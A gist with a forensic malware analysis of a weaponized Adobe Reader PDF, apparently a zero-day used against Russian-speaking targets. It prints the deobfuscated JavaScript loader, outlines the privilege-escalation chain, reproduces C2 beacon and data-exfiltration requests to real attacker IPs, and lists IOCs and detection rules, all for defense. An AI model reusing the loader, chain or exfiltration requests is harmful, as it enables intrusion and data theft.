Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Last active April 22, 2026 08:43
Show Gist options
  • Select an option

  • Save N3mes1s/9e55e8d781235ee256d5b3f6720222dd to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/9e55e8d781235ee256d5b3f6720222dd to your computer and use it in GitHub Desktop.
Adobe Reader Zero-Day PDF Exploit - Full Forensic Analysis (SHA-256: 54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f)

Adobe Reader Zero-Day PDF Exploit - Full Forensic Analysis

SHA-256: 54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f
Analysis Date: 2026-04-08
Related Research: EXPMON Blog - Zero-Day Adobe Reader Exploit
VirusTotal: VT Report


1. Executive Summary

This is a weaponized PDF document exploiting an unpatched zero-day in Adobe Acrobat/Reader's JavaScript engine. The PDF abuses privileged Acrobat APIs — which should be sandboxed — to fingerprint the victim's system, exfiltrate data to a C2 server, and receive AES-encrypted JavaScript payloads for execution.

Only 2 samples have been identified in the wild. The campaign uses purpose-built infrastructure with zero detections across all network indicators. The C2 server performs server-side victim filtering, returning empty responses to sandbox environments while presumably delivering real payloads to targeted victims.

Verdict Malicious - Zero-Day PDF Exploit / Trojan Dropper
Classification expl/pdfka (PDF JavaScript Exploit)
CVE None assigned (unpatched zero-day)
Detection Rate 6/77 (7.8%)
Sophistication High - likely state-sponsored or professional APT

2. File Metadata

Property Value
SHA-256 54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f
SHA-1 dafd571da1df72fb53bcd250e8b901103b51d6e4
MD5 522cda0c18b410daa033dc66c48eb75a
SSDEEP 6144:JeSqETXrhj1xWuSpMRdZKoEWmyduMPWG73E/eN2zpf6O:JeSqA5WGZKv3eOiO
File Size 320,066 bytes (312 KB)
File Type PDF document, version 1.7, 1 page
Created With PyMuPDF (per OCG metadata)

3. AV Detection (6/77)

Engine Detection
ESET-NOD32 JS/TrojanDropper.Agent.QCE trojan
Avast JS:Pdfka-gen [Expl]
AVG JS:Pdfka-gen [Expl]
Cynet Malicious (score: 99)
Cylance Unsafe
Gridinsoft PDF.Exploit.JS

4. Decoy Content & Targeting

Both PDFs display Russian-language documents as visual decoys (rendered as images, no selectable text):

Sample 1 (54077a5b): A document titled "Меры, которые необходимо выполнить для организации вмешательств" (Measures to be taken to organize interventions). Content covers:

  1. Gas supply disruption (Влияние на поставки газа)
  2. Worker safety risks (Риски, связанные с работами)
  3. Cooperation with local authorities (Сотрудничество с местными властями)
  4. Public notification (Информирование граждан)
  5. Coordination with other organizations (Связь с другими учреждениями)

Sample 2 (65dca34b): A Russian document that appears to be an official agreement/contract (Дополнение к договоренности), containing organizational details with addresses in Moscow.

Targeting implications:

  • Russian-speaking targets (likely government, energy sector, or infrastructure organizations)
  • The gas supply / emergency procedures theme suggests energy sector or critical infrastructure targeting
  • Both decoys are designed to appear legitimate to the intended recipient
  • The topic choice (gas supply disruption + emergency response) is consistent with geopolitically motivated espionage

PDF metadata:

  • Both created with PyMuPDF (Python PDF library)
  • Title: "Blank Page" (default, not customized)
  • No author, creation date, or modification date metadata
  • Both single-page, image-only decoys (no text layer)
  • Both use /Lang (en-US) despite Russian content

5. PDF Structure

Suspicious Indicators

Indicator Count Significance
/JavaScript 2 Embedded JS execution
/JS 1 JS action trigger
/OpenAction 1 Auto-executes on open
/AcroForm 1 Form field hides payload
Pages 1 Minimal decoy content
Streams 11 Multiple data streams

Object Map

Object Role
Object 1 (Catalog) /AcroForm, /OpenAction [5 0 R /Fit], /Names
Object 2 (AcroForm) References form field definitions
Object 9 (Form Field) Hidden button btn1 with /Rect [0 0 0 0] (invisible). Stores 98,588-byte base64 payload in /V
Object 11 (JS Action) Named PrintReport_54. Contains JSFuck-obfuscated Stage 1 loader

5. Attack Chain

 Victim opens PDF
        │
        ▼
 ┌─────────────────────────────────────────────────────────┐
 │  STAGE 1: JSFuck Loader (Object 11, auto-triggered)     │
 │  app.setTimeOut(decode(getField("btn1").value), 500)     │
 └────────────────────────┬────────────────────────────────┘
                          │
                          ▼
 ┌─────────────────────────────────────────────────────────┐
 │  STAGE 2: Obfuscated JS (73,936 chars, from btn1)       │
 │  - AES-CTR crypto implementation                         │
 │  - System fingerprinting (OS, Reader version, AV, etc.)  │
 │  - Reads ntdll.dll for OS version extraction             │
 └────────────────────────┬────────────────────────────────┘
                          │
                          ▼
 ┌─────────────────────────────────────────────────────────┐
 │  C2 BEACON: HTTP GET to 188.214.34.20:34123              │
 │  /rs1?rnd=<random>&od=422974                             │
 │  /s11?language=...&viewerType=...&osVersion=...          │
 └────────────────────────┬────────────────────────────────┘
                          │
                          ▼
 ┌─────────────────────────────────────────────────────────┐
 │  C2 RESPONSE: AES-CTR encrypted + zlib compressed JS    │
 │  Decrypted → global.final_js → eval()                    │
 └────────────────────────┬────────────────────────────────┘
                          │
                          ▼
 ┌─────────────────────────────────────────────────────────┐
 │  STAGE 3: Remote Code Execution / Sandbox Escape         │
 │  (Not captured — C2 returns "//" to sandboxes)           │
 └─────────────────────────────────────────────────────────┘

6. Stage 1: JSFuck Loader

The initial trigger in Object 11 uses JSFuck-style obfuscation to hide API names:

({}+[])[[+!+[]]+[+!+[]]]     => "e"  (from "[object Object]"[22])
(!+[]/+[]+[])[!+[]+!+[]+!+[]] => "i"  (from "NaN"[3])
(+{}+[])[+!+[]]               => "a"  (from "NaN"[1])

Deobfuscated:

app.t = app.setTimeOut(
    util.stringFromStream(
        SOAP.streamDecode(
            util.streamFromString(
                getField("btn1").value    // reads hidden form field
            ), "base64"                   // base64 decodes
        )
    ), 500                                // 500ms delay (sandbox evasion)
);

7. Zero-Day Vulnerability: Exploit Trigger & Privilege Escalation

The exploit chains two logical vulnerabilities to escape the Acrobat JavaScript sandbox. No memory corruption is involved — this is a pure logic bug chain.

7.1 Bug 1: JavaScript Injection via Internal UI API

The Stage 2 payload passes a crafted object to an internal Acrobat dialog API. The object's key string is processed through an evaluation path that allows arbitrary JavaScript execution from within a sandboxed PDF context. The injected code triggers the second stage of the exploit chain.

Affected API: An internal Acrobat UI function used for alert/dialog rendering. The function does not properly sanitize object key strings before processing them.

7.2 Bug 2: Prototype Pollution → Privilege Escalation

The injected code sets up a privilege escalation chain through:

  1. Prototype pollution via Object.prototype.__defineGetter__() — hijacks property access on all objects
  2. Property getter hijacking on the document object — intercepts internal API reads of path and connection-related properties
  3. Undocumented internal API abuse — uses an undocumented authentication/login API to obtain a privileged function reference
  4. Triggering a privileged code path — calls an internal file-sharing API that accesses the hijacked properties with elevated internal privileges, causing the attacker's getter chain to execute at a higher trust level
  5. The chain ultimately grants the ability to call any Acrobat API with full privileges

Key observations:

  • The undocumented internal API used in step 3 has zero references anywhere on VirusTotal across all indexed files. The exploit author had deep insider-level knowledge of Adobe Reader internals.
  • The exploit is purely logical — no buffer overflows, no use-after-free, no heap sprays. It abuses the trust boundary between UI APIs and privileged internal code paths.
  • The vulnerability requires specific Adobe Reader versions because the internal API surface and property access patterns differ between versions.

7.3 Post-Exploitation Capabilities

After exploitation, two privileged wrapper functions (global.exec and global.get) provide unrestricted access to all Acrobat APIs. These are used by Stage 2 for file reading, C2 communication, and system reconnaissance.

Note: Full exploit details have been reported to Adobe PSIRT. The deobfuscated code is retained in the private forensics archive for reference.


8. Stage 2: Payload Operations

8.1 Abused Privileged APIs

API Purpose Risk
util.readFileIntoStream() Read arbitrary local files File theft, OS fingerprinting
RSS.addFeed() C2 communication Disguised as RSS operations
RSS.removeFeed() C2 cleanup Evidence destruction
util.stringFromStream() Stream-to-string conversion Data processing
SOAP.streamDecode() Base64 decoding Payload extraction
app.trustedFunction() Elevate JS privileges Sandbox bypass
Collab.isDocReadOnly() File existence check Filesystem probing

7.2 System Fingerprinting

Data Collected Method C2 Parameter
Language app.language language=ENU
Viewer Type app.viewerType viewerType=Reader
Viewer Version getProdVersionString viewerVersion=23.00820533
Platform app.platform platform=WIN
Active Documents app.activeDocs activeDocs=1
64-bit Reader isReader64bit check In errs= if failed
OS Version Binary parse of ntdll.dll via getUint16 osVersion=10.0.19041.1288
Antivirus Plugin enumeration av=NONE
PDF File Path Document path pdfFile=C:\Users\...\manual.pdf
Error State Accumulated errors errs=
Campaign ID Hardcoded od=422974

7.3 OS Fingerprinting via File Probing

The exploit reads system DLLs and probes specific paths:

File Path Purpose
/c/windows/system32/ntdll.dll Extract exact OS version via PE header parsing
/c/Windows/System32/bootsvc.dll Detect specific Windows editions
/c/Windows/ADFS Detect Windows Server / feature presence

Supported Windows version strings: WIN8.1, WIN10, WIN11

7.4 Cryptographic Implementation

Full AES-CTR mode with:

  • Custom AES encrypt/decrypt (9 class references)
  • PKCS#7 padding
  • Counter mode operations
  • Hex-to-binary utilities
  • zlib decompression (26 references to zip_inflate)

7.5 Internal Variable Naming Convention

The author uses a distinctive animal-themed naming pattern:

Variable Type Purpose
dog1 String Primary C2 URL
dog2 String Secondary C2 URL
bird0 Mixed C2 response (beacon)
bird1 Mixed C2 response (fingerprint)
pig0 Number Timer handle (polling)
pig1 Number Secondary timer handle
deer Array AES encryption key
reindeer Array AES counter / IV

7.6 C2 Protocol

Server: 188.214.34.20:34123 (TCP, plaintext HTTP)

Phase 1 - Beacon:

GET /rs1?rnd=0.8987183619622767&od=422974 HTTP/1.1
User-Agent: Mozilla/3.0 (compatible; Adobe Synchronizer 23.8.20533)

Phase 2 - Fingerprint Exfiltration:

GET /s11?language=ENU&viewerType=Reader&viewerVersion=23.00820533
    &platform=WIN&activeDocs=1&errs=&av=NONE
    &osVersion=10.0.19041.1288
    &pdfFile=C:\Users\Bruno\Desktop\manual.pdf
    &rnd=0.884190669331025&od=422974 HTTP/1.1
User-Agent: Mozilla/3.0 (compatible; Adobe Synchronizer 23.8.20533)

Phase 3 - Response Handling:

  1. Server response is AES-CTR decrypted using deer/reindeer key material
  2. Decrypted data is zlib-decompressed via zip_inflate()
  3. Result stored in global.final_js
  4. Executed: eval(global.final_js);
  5. Polling every 500ms, max 80 retries (0x50), then cleanup

Endpoints:

Path Purpose
/rs1 Initial beacon
/s11 Fingerprint + payload request
/s12 Updated endpoint (observed for Reader v25.x)
/rs2 Secondary callback

7.7 Anti-Analysis & Evasion

Technique Detail
JSFuck obfuscation Stage 1 loader hides API names
obfuscator.io-style Variable/function name mangling
String array rotation parseInt check prevents static analysis
500ms execution delay Sandbox timing evasion
Long sleeps Detected in multiple sandboxes
Server-side filtering C2 returns // (empty JS) to sandboxes
Legitimate User-Agent Mimics Adobe Synchronizer 23.8.20533
Hidden form field btn1 has Rect [0 0 0 0] (0px, invisible)
AES-CTR encryption C2 response unreadable to network inspection
Anti-VM Queries available memory, checks Citrix env
Anti-debug SetUnhandledExceptionFilter detected

7.8 Persistence

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Adobe Reader Synchronizer
= "C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe"

8. Sandbox Behavior

CAPE Sandbox

Behavior Details
Services opened wscsvc, PcaSvc, VaultSvc
Memory dumps 13 processes (Adobe suite + svchost)
Files dropped Tmp97B7.tmp (PKCS#7 sig), ks_folder_watcher.txt
Mutexes Global\_MSIExecute, Global\AdobeCrashProcessorLocalLowLock
JA3 cd08e31494f9531f560d64c695473da9
Tags PERSISTENCE

Process Tree

Acrobat.exe (PID:6416) "manual.pdf"
├── AdobeCollabSync.exe -c (PID:3520)
├── AdobeCollabSync.exe -c (PID:5424) [stealth_timeout]
├── AdobeCollabSync.exe -c (PID:1376)
├── AdobeCollabSync.exe -c (PID:1428)
├── Adobe Crash Processor.exe (PID:5784) [reads remote process memory]
└── CRWindowsClientService.exe (PID:2956)
    ├── CRLogTransport.exe (PID:5384)
    └── CRLogTransport.exe (PID:5148)

Zenbox

  • Spawned 12+ AdobeCollabSync.exe child processes
  • Tags: CALLS_WMI, PERSISTENCE, LONG_SLEEPS

Dropped Files Analysis

File Hash (SHA-256) Size Type Verdict
Tmp97B7.tmp eacad3e01b... 5,932 B DER PKCS#7 Signature Benign (Adobe timestamp)
ks_folder_watcher.txt 69bf0bc46f... 4 B ASCII text Benign (Adobe telemetry)
s11[1] (IE cache) a2c2339691... 2 B Text: // C2 response — empty JS comment

The C2 returning // (a valid but empty JavaScript comment) to sandbox environments confirms server-side sandbox detection. Real targets presumably receive the encrypted Stage 3 payload.


9. MITRE ATT&CK

ID Technique Notes
T1203 Exploitation for Client Execution Zero-day PDF/JS exploit
T1059.007 JavaScript Execution Obfuscated JS in PDF
T1547.001 Registry Run Keys AdobeCollabSync.exe persistence
T1082 System Information Discovery OS, viewer, platform, AV
T1005 Data from Local System Reads ntdll.dll, local files
T1071 Application Layer Protocol HTTP C2 on port 34123
T1573 Encrypted Channel AES-CTR encrypted C2
T1036 Masquerading User-Agent mimics Adobe
T1564 Hide Artifacts Hidden form field, invisible layer
T1112 Modify Registry Persistence via Run key
T1571 Non-Standard Port HTTP on 34123/45191
T1105 Ingress Tool Transfer JS payload from C2
T1057 Process Discovery Plugin/process enumeration
T1012 Query Registry System configuration reads
T1497 Virtualization/Sandbox Evasion Server-side filtering, timing

10. Network IOCs

IP Addresses

IP Port Purpose Country ASN Provider
188.214.34.20 34123 Primary C2 Cyprus AS57169 EDIS GmbH
169.40.2.68 45191 Related C2 Latvia AS42532 SIA VEESP

Domains

Domain Resolves To Registered Registrar
ado-read-parser.com - 2025-02-06 NameSilo
zx.ado-read-parser.com 188.214.34.20 - -

URLs

http://188.214.34.20:34123/rs1?rnd=<float>&od=422974
http://188.214.34.20:34123/s11?language=ENU&viewerType=Reader&viewerVersion=...&platform=WIN&activeDocs=...&errs=...&av=...&osVersion=...&pdfFile=...&rnd=...&od=422974
http://188.214.34.20:34123/s12?language=ENU&viewerType=Reader&viewerVersion=25.00120435&platform=WIN
http://188.214.34.20:34123/rs2
http://zx.ado-read-parser.com/
http://169.40.2.68:45191/rs1?rnd=<float>&od=319988
http://169.40.2.68:45191/s11?language=ENU&...&od=319988

User-Agent

Mozilla/3.0 (compatible; Adobe Synchronizer 23.8.20533)

JA3 Fingerprint

cd08e31494f9531f560d64c695473da9

11. File IOCs

Malicious Samples

SHA-256 Size Description
54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f 320,066 Primary sample (PDF 1.7)
65dca34b04416f9a113f09718cbe51e11fd58e7287b7863e37f393ed4d25dde7 254,698 Related EXPMON sample (PDF 1.5)

Additional Hashes

SHA-256 Description
eacad3e01b8b0a44ac030c8c169664dbbdde90c153b550c7b4e0609573df796d Dropped: Tmp97B7.tmp (PKCS#7)
69bf0bc46f51b33377c4f3d92caf876714f6bbbe99e7544487327920873f9820 Dropped: ks_folder_watcher.txt
a2c2339691fc48fbd14fb307292dff3e21222712d9240810742d7df0c6d74dfb Cached: C2 response (s11)

Registry Keys

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Adobe Reader Synchronizer

Mutexes

Global\_MSIExecute
Global\AdobeCrashProcessorLocalLowLock
Global\OneSettingQueryMutex+compat+encapsulation

Campaign Identifiers

422974  (Sample 1)
319988  (Sample 2)

12. Campaign Infrastructure

Hosting Pattern

Both C2 servers share operational characteristics:

  • Small European VPS providers (Austria/Cyprus, Latvia)
  • Recently allocated IP ranges (Sep 2024, Dec 2025)
  • Non-standard high ports (34123, 45191)
  • Zero domain/IP reputation on VT
  • Privacy-protected WHOIS (privacyguardian.org)

Domain: ado-read-parser.com

Property Value
Registered 2025-02-06
Expires 2026-02-06
Registrar NameSilo
Privacy privacyguardian.org
Nameservers ns1/ns2/ns3.dnsowl.com
Subdomain zx.ado-read-parser.com -> 188.214.34.20
First DNS 2025-07-08
VT Detection 0/94

Shodan Intelligence

188.214.34.20 (Primary C2):

Property Value
OS Ubuntu Linux
SSH OpenSSH 9.6p1 Ubuntu-3ubuntu13.15
SSH hassh e42184b06d45385a906f0803d04c83da
Visible Ports 22 (SSH), 80 (HTTP) only
Port 34123 NOT visible — firewalled/filtered
rDNS 20.34.214.188.static.edisglobal.com
Last Shodan Scan 2026-04-07
Shodan History Only 2 entries (2026-03-31 + 2026-04-07), SSH only

Key finding: Port 34123 (the C2 listener) has never been visible to Shodan scans. This means the port is either:

  • Firewall-filtered to only allow connections from target IP ranges
  • Run on-demand/intermittently when a target opens the PDF
  • Bound to a specific domain (SNI filtering)

This is deliberate C2 operational security — the listener is invisible to internet-wide scanning.

188.214.34.0/24 Subnet Analysis (Shodan):

  • 1,106 total service entries across the /24
  • 82 hosts share the identical SSH hassh fingerprint — this is EDIS GmbH's standard Ubuntu VPS template
  • The SSH fingerprint is NOT useful for attribution (shared hosting image)
  • Most hosts expose only SSH (22) or HTTP (80)
  • One host (.63) has 47 open ports — likely a honeypot/scanner
  • No other hosts in the /24 have port 34123 open

169.40.2.68 (EXPMON C2):

  • No Shodan data — zero scan history
  • No passive DNS records
  • Completely dark — likely decommissioned after EXPMON exposure

C2 Web Server (from downloaded HTML error pages):

  • Server: nginx/1.24.0 (Ubuntu)
  • 404 page: Standard nginx 404 with MSIE padding comments
  • 502 page: Standard nginx 502 Bad Gateway (C2 backend was down when sandbox tried)
  • The C2 architecture is: nginx reverse proxy → backend C2 application on port 34123

C2 Liveness (2026-04-08):

  • 188.214.34.20:80Connection refused
  • 188.214.34.20:34123Connection refused
  • zx.ado-read-parser.comConnection refused
  • 169.40.2.68:45191Connection refused

Both C2 servers are currently offline. The primary C2 may have been taken down after detection, or the operator rotated to new infrastructure (possible v3).

Endpoint Selection Logic (/s11 vs /s12):

Analysis of all sandbox-observed URLs reveals the exploit uses different C2 endpoints based on the Adobe Reader version:

  • Reader v22.x and v23.x → /s11
  • Reader v25.x → /s12

This confirms the exploit is being actively maintained to support newer Reader versions, with the endpoint upgrade indicating evolving server-side payload delivery logic.

Detection Gap Summary

Indicator VT Detection
IP 188.214.34.20 0/94
IP 169.40.2.68 1/94
ado-read-parser.com 0/94
All C2 URLs 0 malicious
Sample 1 6/77
Sample 2 7/77

13. Code Evolution Analysis

Two Known Versions

v1 (Earlier) v2 (Later)
Hash 65dca34b... 54077a5b...
PDF Version 1.5 1.7
Payload 74,147 chars 73,936 chars
String Table 146 entries 141 entries
C2 169.40.2.68:45191 188.214.34.20:34123

What Changed (v1 → v2)

Obfuscation hardened:

  • Plaintext exec() calls: 5 → 2
  • Plaintext addFeed: 2 → 1
  • Endpoint names (rs1, s11, s12) removed from string table
  • fileExists() function fully obfuscated (was 27.4% different)
  • More JSFuck used in inline code

Targeting refined:

  • Windows 7 support dropped
  • OS probe changed: /c/Windows/AppReadiness/c/Windows/ADFS
  • String table trimmed from 146 → 141 entries

Infrastructure rotated:

  • Moved from bare IP (Latvia) to domain + IP (Cyprus)
  • New campaign identifier
  • Domain ado-read-parser.com added

Shared Core (Identical)

Both versions share:

  • Same 14 named functions (checkInt, checkInts, coerceArray, etc.)
  • Same JSFuck Stage 1 technique
  • Same AES-JS crypto library (9 references)
  • Same zip_inflate decompression (26 references)
  • Same animal-themed variable naming
  • Same C2 protocol and URL structure
  • Same persistence mechanism
  • Same eval(global.final_js) execution chain

Evidence of v3

A /s12 URL was logged on the C2 IP targeting Adobe Reader v25.x (both captured samples target v22-23.x). This indicates active, ongoing development. No v3 sample captured.

Development Pattern

v1 (65dca34b) — "Prototype"
│  Rougher obfuscation, broad OS targeting, bare IP C2
│
▼  Author hardens obfuscation, drops Win7, rotates infra
│
v2 (54077a5b) — "Production"
│  Tight obfuscation, focused targeting, domain-based C2
│
▼  Endpoint /s12 observed targeting Reader v25.x
│
v3 (?) — "Active Development"
   Not yet captured as standalone sample

Search Exhaustion

Pivot Method Matches
ESET signature JS/TrojanDropper.Agent.QCE 1 (Sample 2 only)
vhash 0 additional
behash (CAPE) 0 additional
SSDEEP similarity 0 PDF matches
Content: final_js in PDF 0
Content: PrintReport_54 in PDF 0
Files communicating with C2 IPs 1 per IP (known samples)
Files communicating with domain 0

Conclusion: Only 2 samples exist in VT's corpus. This is extremely low-volume, highly targeted activity.


14. Sigma / IDS

  • 1 medium Sigma rule triggered (Sigma Integrated Rule Set)
  • 1 HIGH + 1 LOW crowdsourced IDS alerts

15. Detection Recommendations

Network

# Block C2 IPs
block 188.214.34.20 (all ports, especially 34123)
block 169.40.2.68 (all ports, especially 45191)

# Block domain
block ado-read-parser.com and *.ado-read-parser.com

# Alert rules
alert http User-Agent containing "Adobe Synchronizer" to non-Adobe IPs
alert http URI containing "&od=422974" or "&od=319988"
alert http URI matching /rs[12]?\?rnd= to external IPs
alert http URI matching /s1[12]\?language= to external IPs
alert TCP to non-standard ports (34123, 45191) from Adobe processes

Endpoint

# Registry monitoring
alert on creation of HKCU\...\Run\Adobe Reader Synchronizer

# Process monitoring
alert on AdobeCollabSync.exe making external network connections
alert on Acrobat.exe/AcroRd32.exe reading ntdll.dll or bootsvc.dll

# API monitoring (if possible)
alert on PDF JavaScript calling RSS.addFeed() or util.readFileIntoStream()

YARA Indicators

# PDF structure
/AcroForm + /OpenAction + /JS with JSFuck patterns: ({}+[])[[+!+[]]
Hidden form field: /Rect [ 0 0 0 0 ] + /FT /Btn + /T (btn1)

# Base64-decoded payload content
Strings: readFileIntoStream, addFeed, removeFeed, final_js
Strings: eval(global.final_js)
Animal variables: dog1, dog2, bird0, bird1, pig0, deer, reindeer
Campaign markers: 422974, 319988

16. Timeline

Date Event
2025-02-06 Domain ado-read-parser.com registered via NameSilo
2025-07-08 zx.ado-read-parser.com first DNS resolution to 188.214.34.20
2025-09-05 IP block 188.214.34.0/24 allocated to EDIS-NET-CY
2025-11-28 Sample 1 (54077a5b) first submitted to VirusTotal
2025-12-05 IP block 169.40.0.0/21 allocated to VEESP (Sample 2 C2)
2026-03-22 Sample 2 (65dca34b) first submitted to VirusTotal
2026-03-26 Sample 2 submitted to EXPMON detection system
2026-04-08 This analysis

17. Related Samples

SHA-256 C2 Campaign ID Notes
54077a5b15638e354fa02318623775b7a1cc0e8c21e59bcbab333035369e377f 188.214.34.20:34123 422974 Primary (v2, refined)
65dca34b04416f9a113f09718cbe51e11fd58e7287b7863e37f393ed4d25dde7 169.40.2.68:45191 319988 EXPMON (v1, prototype)

18. String Lookup Table (Stage 2 — 141 Entries)

[  0] bird0                    [  1] 4391808zhiXfJ
[  2] slice                    [  3] PKCS#7 invalid padding byte
[  4] substr                   [  5] exec
[  6] unescape('               [  7] activeDocs
[  8] language                 [  9] deer
[ 10] ?rnd=                    [ 11] 0123456789abcdef
[ 12] WIN11                    [ 13] NONE
[ 14] 188.214.34.20:34123      [ 15] ERR_UNK_PLATFORM_
[ 16] 3272rdTObb               [ 17] clearInterval
[ 18] status                   [ 19] isReader64bit
[ 20] invalid counter value    [ 21] push
[ 22] 2817qWeaaX               [ 23] split
[ 24] PKCS#7 invalid length    [ 25] increment
[ 26] toBytes                  [ 27] &pdfFile=
[ 28] _Kd                      [ 29] ERR_NO_64BIT_READER
[ 30] 12306810QWerrZ           [ 31] version
[ 32] isDocReadOnly            [ 33] viewerType
[ 35] http://                  [ 37] Uint8Array
[ 38] pig0                     [ 40] &rnd=
[ 41] /c/Windows/System32/bootsvc.dll
[ 42] getOCGs                  [ 43] _counter
[ 44] dirty                    [ 45] pig1
[ 46] setInterval              [ 47] check()
[ 48] decrypt                  [ 49] WIN
[ 52] charCodeAt               [ 54] Reader
[ 56] setValue                  [ 57] root
[ 59] tmp2                     [ 60] setTimeOut
[ 61] readFileIntoStream       [ 62] list
[ 63] eval(global.final_js);   [ 64] random
[ 72] platform                 [ 75] encrypt
[ 76] plugIns                  [ 77] reindeer
[ 78] unknown                  [ 79] WIN8.1
[ 80] /c/Windows/ADFS          [ 82] endPriv
[ 83] key                      [ 85] substring
[ 86] beginPriv                [ 87] ERR_UNSUPPORTED_VERSION_
[ 88] layers                   [ 90] ERR_UNK_VIEWERTYPE_
[ 91] final_js                 [ 92] &av=
[ 94] viewerVersion            [100] doc
[101] fromCharCode             [107] path
[108] stringFromStream         [111] 422974
[113] rs2                      [115] WIN10
[116] ERR_OS_                  [117] Counter
[119] length                   [121] &osVersion=
[122] bird1                    [123] read
[124] trustedFunction          [125] getProdVersionString
[126] getOS                    [127] ctr
[132] /c/windows/system32/ntdll.dll
[134] &od=                     [139] addFeed
[140] removeFeed


19. Sandbox Fingerprint Matrix (from contacted URLs)

All sandbox runs that triggered C2 communication, reconstructed from VT URL relationships:

Sample 1 (54077a5b) — 3 sandbox environments observed

# Endpoint Reader Ver OS Version Errors PDF Name Sandbox
1 /s11 23.00820533 10.0.19041.1288 (Win10) (none) manual.pdf CAPE (Bruno)
2 /s12 25.00120435 10.0.22621.2428 (Win11) ERR_OS_WIN11_UNSUPPORTED document.pdf Unknown (Bruno)
3 /s11 22.00320282 6.1.7601.24520 (Win7) ERR_OS_WIN7_UNSUPPORTED,ERR_NO_64BIT_READER 54077a5b...f.pdf Jujubox (azure)

Sample 2 (65dca34b) — 2 sandbox environments observed

# Endpoint Reader Ver OS Version Errors PDF Name Sandbox
1 /s11 23.00820533 10.0.19041.1288 (Win10) (none) attachment.pdf CAPE (Bruno)
2 /s11 22.00320282 6.1.7601.24520 (Win7) ERR_OS_WIN7_UNSUPPORTED,ERR_NO_64BIT_READER 65dca34b...7.pdf Jujubox (azure)

Key observations from the fingerprint matrix

  1. /s12 endpoint confirmed in the wild — triggered by Reader v25.x on Win11 build 22621. The exploit upgraded the endpoint automatically based on version detection.
  2. ERR_OS_WIN11_UNSUPPORTED — the current payload does NOT have a Win11-specific exploit. The /s12 endpoint is the server's attempt to handle this with newer logic, but the client still flags the error.
  3. Win7 and 32-bit Reader both unsupported — consistent with a targeted exploit that requires specific OS + architecture combinations.
  4. Only Win10 produced no errors — this is the primary supported target OS.
  5. PDF filenames differ per sandbox: manual.pdf (CAPE), document.pdf (Win11 sandbox), attachment.pdf (EXPMON CAPE). The original delivery filename is unknown.
  6. Same sandbox users: "Bruno" (CAPE) and "azure" (Jujubox) appear across both samples — these are the VT sandbox personas, not real victims.

Updated detection counts (2026-04-09)

Sample Previous Current New engines
54077a5b (primary) 6/77 9/77 +Kaspersky, +Tencent, +alibabacloud
65dca34b (EXPMON) 7/77 11/77 +Kaspersky, +Tencent, +alibabacloud, +Symantec, +Ikarus

Detection is slowly increasing as AV vendors process the EXPMON disclosure.


20. Additional Intelligence (Negative Results)

Sources checked with no results — confirming this campaign is unreported elsewhere:

Source Query Result
URLhaus (abuse.ch) 188.214.34.20 No entries
MalwareBazaar (abuse.ch) SHA-256 hash Not found
ThreatFox (abuse.ch) 188.214.34.20 No entries
AlienVault OTX IP + Domain 0 pulses
Certificate Transparency (crt.sh) ado-read-parser.com 0 certificates
Wayback Machine ado-read-parser.com 0 captures
Shodan Port 34123 visibility Never seen by Shodan

The complete absence from all threat intelligence platforms confirms this is a previously unreported campaign with extremely careful operational security.


Analysis performed using VirusTotal API, Shodan, abuse.ch platforms, AlienVault OTX, crt.sh, Wayback Machine, static PDF analysis, and JavaScript deobfuscation.

@Alslinet
Copy link
Copy Markdown

Im just gonna ask, would disabling javascript in adobe products prevent this? Or does it somehow execute even if its disabled?

@jinnosux
Copy link
Copy Markdown

Yes, disabling JS in Adobe Reader seems to be the most effective immediate mitigation (the exploit's execution chain relies entirely on the JavaScript engine to call privileged APIs).

@atluxity
Copy link
Copy Markdown

echo -n // | sha256sum
a2c2339691fc48fbd14fb307292dff3e21222712d9240810742d7df0c6d74dfb

Probably dont put that in your IOC to be used for detection

@heige
Copy link
Copy Markdown

heige commented Apr 13, 2026

“I think the global.final_js part is quite important to fully understand the chain. Would you be willing to share it as well?”

@Gi7w0rm
Copy link
Copy Markdown

Gi7w0rm commented Apr 13, 2026

final_js has not been recovered so far. It gets send as encrypted js code from the C2 server under specific conditions likely related to targeting of the operator. At point of writing the only chance to get it would be to find an infected network where it was sent and caught by some security solution during execution.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment